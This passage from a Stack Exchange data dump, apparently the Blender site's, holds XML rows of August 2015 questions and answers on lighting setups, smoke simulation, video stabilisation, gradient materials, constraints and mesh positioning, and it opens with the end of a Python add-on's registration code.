any=True)&#xA;&#xA;    addon_keymaps.append((km, kmi))&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_module(__name__)&#xA;    del bpy.types.WindowManager.mesh_vert_layer&#xA;&#xA;    for km, kmi in addon_keymaps:&#xA;        km.keymap_items.remove(kmi)&#xA;    addon_keymaps.clear()&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="1363" LastEditDate="2015-08-30T14:35:20.137" LastActivityDate="2015-08-30T14:35:20.137" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36727" PostTypeId="1" AcceptedAnswerId="36733" CreationDate="2015-08-30T14:34:51.697" Score="0" ViewCount="371" Body="&lt;p&gt;I try to use three point lighting system but I don't know how to put the free light -90 opposite from the first plane.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/2SJZo.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2SJZo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14023" LastActivityDate="2015-08-30T15:40:25.273" Title="How to work with three point lighting system?" Tags="&lt;light&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36728" PostTypeId="1" CreationDate="2015-08-30T14:38:35.317" Score="0" ViewCount="538" Body="&lt;p&gt;I'm having an issue where rendered smoke in a domain with many collision objects starts &quot;flashing&quot; in certain spots. The collision objects are transparent cylinders with 6 faces, set as both smoke collision and rigid bodies (to enable better collision bounds). The smoke is emitted from a plane at the bottom of the domain. I have the test render up on an unlisted YouTube video here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=DqC8d4MfYsM&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=DqC8d4MfYsM&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Smoke domain settings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/vfhMYms.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Smoke emitter settings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/WRNwKeM.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the rigid body settings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/N2ODdaA.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.imgur.com/QM5LXjw.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;This is a link to a screenshot of the scene in Blender.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts why the smoke flashes a bit from about 1 second to around 7.5 seconds? Is it just matter of increasing my domain resolution (and render time), or is there something else I'm missing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be gentle, I'm a bit of a Blender noob! :-)&lt;/p&gt;&#xA;" OwnerUserId="16795" LastActivityDate="2015-08-30T14:38:35.317" Title="Blender Smoke Simulation Glitch: Why are parts of my smoke flashing?" Tags="&lt;rigid-body-simulation&gt;&lt;smoke-simulation&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36729" PostTypeId="1" CreationDate="2015-08-30T14:44:28.660" Score="5" ViewCount="1840" Body="&lt;p&gt;I'm new to blender and I need it to stabilize a panoramic 360° video.&#xA;I found this addons &lt;a href=&quot;https://github.com/dfelinto/Panorama-Tracker&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/dfelinto/Panorama-Tracker&lt;/a&gt;&#xA;I correctly stabilzed the video and I can correctly see it in the 3D View window but I can't find a way to apply that stabilization in the node editor view so I can't render it. I'm surely missing some steps. I can't understand if I should connect something between Movie clip and Viewer nodes and in that case what I should connect.&lt;a href=&quot;https://i.stack.imgur.com/jqD0P.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jqD0P.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Thanks guys for helping me. Because of 360 video I need a stabilization that doesn't crop the video or I'll be not able to exactly connect the left and right borders of the image. For this reason I installed the panorama stitcher addons. I need to track two points, set as Focus and Target tracks and It will create a Panorama camera. The correct stabilization is what you can see on top of the screen, that image with yellow curvy line. But the only thing I'm able to get in the viewer and in the file rendering is what you see at the bottom, with the stright yellow line. Even connecting the Stabilize 2D, I had yet tried too, I can't get the rendering like the upper view. I can't find the &quot;Panorama camera&quot; in filters, distort or whatever. I'm stucked here. Here ( &lt;a href=&quot;https://vimeo.com/75889844&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://vimeo.com/75889844&lt;/a&gt; ) he explain how he did it but the missing steps to the final rendering is what I need. Thanks a lot &#xA;&lt;a href=&quot;https://i.stack.imgur.com/jqD0P.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jqD0P.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16794" LastEditorUserId="599" LastEditDate="2015-08-30T19:28:15.073" LastActivityDate="2018-07-31T19:33:48.327" Title="How do I render a Panorama-tracker stabilized 360° video?" Tags="&lt;rendering&gt;&lt;video&gt;" AnswerCount="4" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36730" PostTypeId="2" ParentId="36713" CreationDate="2015-08-30T15:02:23.690" Score="3" Body="&lt;p&gt;Thanks all, problem solved. Squared shadows was solved according message user2859 in the spot settings, which erased the highest squares.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/qOsHO.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qOsHO.png&quot; alt=&quot;Setting spot setup&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There was some other little squares after that, although image was usable after this setting. According user2859's next message I changed antialiasing settings in the rendering settings.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/WDNGM.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WDNGM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After theese steps was issue solved. All scopes settings(Waveform O, Vectorscope opacity, and Scope samples(the top left button on the window during rendering)) was on maximum during the tries.&lt;/p&gt;&#xA;" OwnerUserId="16786" LastActivityDate="2015-08-30T15:02:23.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36731" PostTypeId="2" ParentId="36729" CreationDate="2015-08-30T15:05:16.340" Score="2" Body="&lt;p&gt;You have to connect the &lt;em&gt;image&lt;/em&gt; result of the compositing to the &lt;em&gt;composite&lt;/em&gt; node as well as the viewer node to see anything in the final render.  The viewer node just controls the compositor backdrop.&lt;/p&gt;&#xA;" OwnerUserId="5705" LastActivityDate="2015-08-30T15:05:16.340" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36733" PostTypeId="2" ParentId="36727" CreationDate="2015-08-30T15:09:40.610" Score="1" Body="&lt;p&gt;One method is to set the &lt;em&gt;pivot center type&lt;/em&gt; to &lt;em&gt;3D Cursor&lt;/em&gt;, place the cursor wherever you like, select a plane, duplicate it (&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;D&lt;/kbd&gt;) and rotate (&lt;kbd&gt;R&lt;/kbd&gt;) along the Z axis by 90 degress (you may type a rotation value using your numerical keyboard).&#xA;&lt;a href=&quot;https://i.stack.imgur.com/JtCog.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JtCog.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other method is using a &lt;strong&gt;&lt;em&gt;Mirror Modifier&lt;/em&gt;&lt;/strong&gt;. Choose the &lt;em&gt;axis&lt;/em&gt; you want your plane to mirror and input the name of your illuminated object in a window under &lt;em&gt;Mirror Object:&lt;/em&gt;. Then apply the modifier.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/CBb7t.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CBb7t.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to &lt;em&gt;Edit Mode&lt;/em&gt;, select all mirrored meshes (&lt;kbd&gt;A&lt;/kbd&gt;), then press &lt;kbd&gt;P&lt;/kbd&gt;&lt;em&gt;--&gt;Separate--&gt;By Loose Parts&lt;/em&gt; to make them separate objects. Now select one of them, snap the cursor to the center of it (&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt;&lt;em&gt;--&gt;Cursor to Selected&lt;/em&gt;). Enter the &lt;em&gt;Object Mode&lt;/em&gt; and press &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt;&lt;em&gt;--&gt;Origin to 3D Cursor&lt;/em&gt; to place the origin point within. Repeat the same process with other planes.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/OPpdu.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/OPpdu.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may now adjust the transformations of the planes changing the &lt;em&gt;transformation orientation type&lt;/em&gt; to &lt;strong&gt;&lt;em&gt;Normal&lt;/em&gt;&lt;/strong&gt; (tap &lt;kbd&gt;G&lt;/kbd&gt;, &lt;kbd&gt;R&lt;/kbd&gt; or &lt;kbd&gt;S&lt;/kbd&gt; twice to make it work).&#xA;&lt;a href=&quot;https://i.stack.imgur.com/K8pu2.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/K8pu2.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="7797" LastEditDate="2015-08-30T15:40:25.273" LastActivityDate="2015-08-30T15:40:25.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36734" PostTypeId="1" CreationDate="2015-08-30T15:19:48.180" Score="7" ViewCount="2389" Body="&lt;p&gt;I am making a logo like on the picture with blender , but the colour of the text doesn't come up as it should be .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/LmOdG.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LmOdG.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16796" LastEditorUserId="12" LastEditDate="2015-08-30T15:45:08.693" LastActivityDate="2015-08-31T00:09:28.540" Title="How to create a gradient colour like on the picture and the apply it on a mesh" Tags="&lt;materials&gt;&lt;shaders&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36735" PostTypeId="2" ParentId="36715" CreationDate="2015-08-30T15:28:11.400" Score="3" Body="&lt;p&gt;There must be a better way to do what you want, but to answer your particular question about animating &lt;em&gt;child of&lt;/em&gt; constraint, you can use the &lt;strong&gt;influence&lt;/strong&gt; slider of each constraint.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Constraint the mag with two &quot;child of&quot; constraints, one linked to the gun, and another linked to the hand. Then you can animate their influences so that when the first is at 1, the other is at 0, and vice-versa.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/XsL5c.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XsL5c.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="527" LastActivityDate="2015-08-30T15:28:11.400" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36737" PostTypeId="2" ParentId="36734" CreationDate="2015-08-30T16:01:30.810" Score="8" Body="&lt;p&gt;You may achieve it using the &lt;strong&gt;&lt;em&gt;Gradient Texture&lt;/em&gt;&lt;/strong&gt; and &lt;strong&gt;&lt;em&gt;Color Ramp&lt;/em&gt;&lt;/strong&gt; nodes. &#xA;&lt;a href=&quot;https://i.stack.imgur.com/j0sBl.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/j0sBl.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set up the &lt;em&gt;material nodes&lt;/em&gt; as pictured below.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/puep5.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/puep5.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also add a &lt;strong&gt;&lt;em&gt;Mapping Node&lt;/em&gt;&lt;/strong&gt; to change the location, rotation or scale of a gradient.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/5CiYE.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5CiYE.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try to change the &lt;strong&gt;&lt;em&gt;Gradient Texture&lt;/em&gt;&lt;/strong&gt;'s type to for example &lt;strong&gt;&lt;em&gt;Radial&lt;/em&gt;&lt;/strong&gt;, &lt;strong&gt;&lt;em&gt;Diagonal&lt;/em&gt;&lt;/strong&gt; or &lt;strong&gt;&lt;em&gt;Quadratic Sphere&lt;/em&gt;&lt;/strong&gt; and experiment with a &lt;strong&gt;&lt;em&gt;Mapping node&lt;/em&gt;&lt;/strong&gt; and &lt;strong&gt;&lt;em&gt;Color Ramp&lt;/em&gt;&lt;/strong&gt; settings for different results.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/auJEO.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/auJEO.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/DZjby.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DZjby.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/32vNi.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/32vNi.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also add a &lt;strong&gt;&lt;em&gt;Bright/Contrast&lt;/em&gt;&lt;/strong&gt; node between &lt;em&gt;Color Ramp&lt;/em&gt; and &lt;em&gt;Diffuse&lt;/em&gt; nodes to make some quick color adjustments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a .blend file with the closest effect to the reference you provided: &lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/448/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=448&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2015-08-31T00:09:28.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36738" PostTypeId="2" ParentId="36734" CreationDate="2015-08-30T16:11:37.507" Score="4" Body="&lt;ul&gt;&#xA;&lt;li&gt;You can achieve this by mixing a bunch of &lt;strong&gt;Diffuse Shader Nodes&lt;/strong&gt; and connecting them to a couple of &lt;strong&gt;Mix Shader Nodes&lt;/strong&gt;, while using &lt;strong&gt;Voronoi Texture&lt;/strong&gt; as a &lt;em&gt;Factor&lt;/em&gt; of those Mix Shader Nodes. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Here is the Node set up:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/7nOIP.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7nOIP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And Here is the Result:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/CAemR.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CAemR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The second way to do that would be to UV project from view the letters and then export the UV layout to an external photo editing software like Gimp or Photoshop and create your self the Gradient Texture that will lie uppon the letters. Then import this texture to Blender and use it as a &lt;em&gt;Factor&lt;/em&gt; of &lt;strong&gt;Mix Shader Nodes&lt;/strong&gt; mixing different &lt;strong&gt;Diffuse Shader Nodes&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The third way could be for you to UV project the letters UV layout as before and import it in to an external Photo Editing software, create whole the gradient texture there and then just add it to the letters, to the color of the &lt;strong&gt;Emission Shader Node&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="15366" LastEditorUserId="15366" LastEditDate="2015-08-30T18:40:32.570" LastActivityDate="2015-08-30T18:40:32.570" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36739" PostTypeId="2" ParentId="36729" CreationDate="2015-08-30T16:36:39.973" Score="1" Body="&lt;p&gt;You can use the &lt;strong&gt;Video Sequencer Editor&lt;/strong&gt;, no need of compositing nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After having stabilized your clip, open the Video Sequence Editor, then hit &lt;kbd&gt;SHIFT&lt;/kbd&gt; + &lt;kbd&gt;A&lt;/kbd&gt; over the timeline, and choose your clip into the &lt;strong&gt;Clip&lt;/strong&gt; submenu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, in the clip's properties (&lt;kbd&gt;N&lt;/kbd&gt;) panel, find the checkbox &lt;strong&gt;Stabilize 2D Clip&lt;/strong&gt;, located in &lt;em&gt;&quot;filter&quot;&lt;/em&gt; section:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/xu6dV.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xu6dV.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure your render settings are set up correctly, according to your needs (resolution, fps, output file and codec...) And finally, just hit &lt;strong&gt;Render Animation&lt;/strong&gt; button.&lt;/p&gt;&#xA;" OwnerUserId="527" LastActivityDate="2015-08-30T16:36:39.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36740" PostTypeId="2" ParentId="24836" CreationDate="2015-08-30T16:40:46.243" Score="4" Body="&lt;p&gt;The object might be linked in another scene within the same file. Switch to the proper scene prior to editing the object. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, in the Barcelona Pavillion demo file from &lt;a href=&quot;https://www.blender.org/download/demo-files/&quot; rel=&quot;nofollow&quot;&gt;https://www.blender.org/download/demo-files/&lt;/a&gt;&#xA;There is a chair object. In a regular scene (midday/sunset/night in this dataset), edit mode won't be available for the chair.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have to switch to the &quot;assets&quot; scene and the proper layer, then RMB to select the chair for edit mode to be available.&lt;/p&gt;&#xA;" OwnerUserId="16590" LastActivityDate="2015-08-30T16:40:46.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36741" PostTypeId="2" ParentId="36729" CreationDate="2015-08-30T16:51:50.117" Score="1" Body="&lt;p&gt;In the compositor add a Stabilize 2D node (Add-&gt;Distort-&gt;Stabilize_2D) and select the tracked clip to be used for stabilization.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Suv4m.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Suv4m.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-08-30T16:51:50.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36742" PostTypeId="1" AcceptedAnswerId="36743" CreationDate="2015-08-30T17:05:44.670" Score="0" ViewCount="94" Body="&lt;p&gt;I have values printed in a system console in long lines and the lines are split to fit the window. &#xA;Is there a way to copy the values without breaking the lines?&#xA;I'm using windows 10&lt;/p&gt;&#xA;" OwnerUserId="12820" LastEditorUserId="12820" LastEditDate="2015-08-30T18:04:10.873" LastActivityDate="2015-08-30T18:04:10.873" Title="Values from system console" Tags="&lt;python&gt;&lt;scripting&gt;&lt;command-line&gt;" AnswerCount="1" CommentCount="9" ClosedDate="2015-08-30T22:12:37.807" ContentLicense="CC BY-SA 3.0" />
  <row Id="36743" PostTypeId="2" ParentId="36742" CreationDate="2015-08-30T17:50:52.703" Score="2" Body="&lt;p&gt;Consider changing the [width] property from the properties of your console.  You need to know the length of the longest line by inspection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Under MS Windows it is done with the properties panel as depicted below.&#xA;Your OS was not specified.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender output seems wrapped to the current width of the console.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vGIfc.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vGIfc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also consider changing your print statements to some some other function which writes text it to a file, append, open and close.  File Redirection may be possible.  I am not currently using Linux/Variants but in some programs one may choose the console.&lt;/p&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2015-08-30T17:57:33.310" LastActivityDate="2015-08-30T17:57:33.310" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="36746" PostTypeId="1" AcceptedAnswerId="36787" CreationDate="2015-08-30T20:56:58.817" Score="2" ViewCount="1050" Body="&lt;p&gt;I have meshes of human dental jaws in the image below. I would like to put them in correct anatomical position.  I would also like to rotate them in correct anatomical fashion.  How can I achieve these two goals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to overlapped and solidify object in a simple example, to plan maxillo facial surgery.&#xA;The idea is to put the jaw with the teeth into an other position during the surgery.&#xA;So I would like to &quot;tell&quot; to the lower jaw that I just cut to &quot;move into this position and to stay there&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this exemple, I would like the teeth from the back to overlapped the teeth in front of them (mirroring lower jaw in the good position). &#xA;Is it possible to do it by selecting region of interest (like the top of the teeth of the back) and show to Blender the similar point in the mirroring teeth?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/57j25.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/57j25.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second question is during the occlusion of teeth. When I want to close the jaw (if the CT scan is not in occlusion), I would like to solidify the teeth of the upper jaw. Like that, when I'm trying to close the lower jaw, I would find the contact with the teeth, and not passing through the upper jaw...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/R29KN.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/R29KN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you again for your help! Blender for ever!&lt;/p&gt;&#xA;" OwnerUserId="16317" LastEditorUserId="6076" LastEditDate="2015-08-30T22:44:00.247" LastActivityDate="2015-09-04T21:51:38.593" Title="How can put a mesh into a different position?" Tags="&lt;modeling&gt;" AnswerCount="3" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36748" PostTypeId="1" AcceptedAnswerId="36785" CreationDate="2015-08-30T21:42:59.183" Score="11" ViewCount="20814" Body="&lt;p&gt;I have an image texture material on a mesh already in blender cycles 2.75... I was wondering how to change the material with keyframes so it changes to different pictures in the animation... I tried image sequence, but that doesn't seem to be what I am trying to achieve, neither does pressing &quot;i&quot; on the image source in the materials tab, it just says that the name property can not be animated ... Could someone help? &lt;/p&gt;&#xA;" OwnerUserId="16802" LastEditorDisplayName="user1853" LastEditDate="2015-08-31T15:21:35.643" LastActivityDate="2021-04-18T04:23:44.490" Title="How do you animate image texture materials in blender cycles with keyframes?" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;materials&gt;&lt;image&gt;&lt;keyframes&gt;" AnswerCount="2" CommentCount="5" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="36750" PostTypeId="2" ParentId="36746" CreationDate="2015-08-30T23:02:59.463" Score="-1" Body="&lt;ul&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;G&lt;/kbd&gt; ,  to grab and move the mesh.&lt;/li&gt;&#xA;&lt;li&gt;Press  &lt;kbd&gt;R&lt;/kbd&gt;,  to rotate the jaw mesh.&lt;/li&gt;&#xA;&lt;li&gt;Press  &lt;kbd&gt;Numpad&lt;/kbd&gt;  &lt;kbd&gt;1&lt;/kbd&gt;, &lt;kbd&gt;3&lt;/kbd&gt;, &lt;kbd&gt;7&lt;/kbd&gt; to see your model from different viewpoints.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6076" LastEditorDisplayName="user1853" LastEditDate="2015-08-31T01:02:33.407" LastActivityDate="2015-08-31T01:02:33.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36751" PostTypeId="1" AcceptedAnswerId="36763" CreationDate="2015-08-30T23:05:24.767" Score="3" ViewCount="5457" Body="&lt;p&gt;I initially learned how to model using Maya, and so I relate everything back to that way of working in 3d space. I want to start modeling in Blender but I am having trouble with some basics...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in Maya, if I wanted to create a box and snap one its corners to the grid, I would create a box, hit the insert key, snap the pivot point to the corner vertex I want, and then use new pivot point to transform the box to the origin of my grid space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...but in Blender I can snap the 3d cursor to a corner, and then when I try to move by increments to the origin it won't snap to the origin but instead, it will snap 1 grid unit from the current location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the standard way to do something simple like this? When I search the manual, it seems like it doesn't understand my terminology. Pivot points work in rotation but not in transforming my object, so if I successfully set the 3d cursor to the corner I want and then type in 0,0,0 into the location coordinates, it centers the object on the origin instead of snapping the corner to the origin.&lt;/p&gt;&#xA;" OwnerUserId="16806" LastActivityDate="2015-08-31T07:19:47.900" Title="Changing the pivot point and using it to snap to grid" Tags="&lt;modeling&gt;" AnswerCount="2" CommentCount="6" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36752" PostTypeId="2" ParentId="36751" CreationDate="2015-08-30T23:14:00.260" Score="-2" Body="&lt;p&gt;Blender has many modes for meshes.  Edit mode will move vertices.  Object mode will move the entire object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hit keyboard tab and select Edit.  You are now in edit mode for mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit vertices.  Select vertices by clicking and shift clicking and move them with mouse by pressing the letter g, hit Enter to finish.  Vertex snapping can occur here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you are finished tap keyboard tab and select Object mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of what I wrote above is best explained in a video tutorial.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender may have some compatibility keystrokes with Maya.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is tutorial series about Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=lY6KPrc4uMw&amp;amp;list=PLda3VoSoc_TR7X7wfblBGiRz-bvhKpGkS&quot; 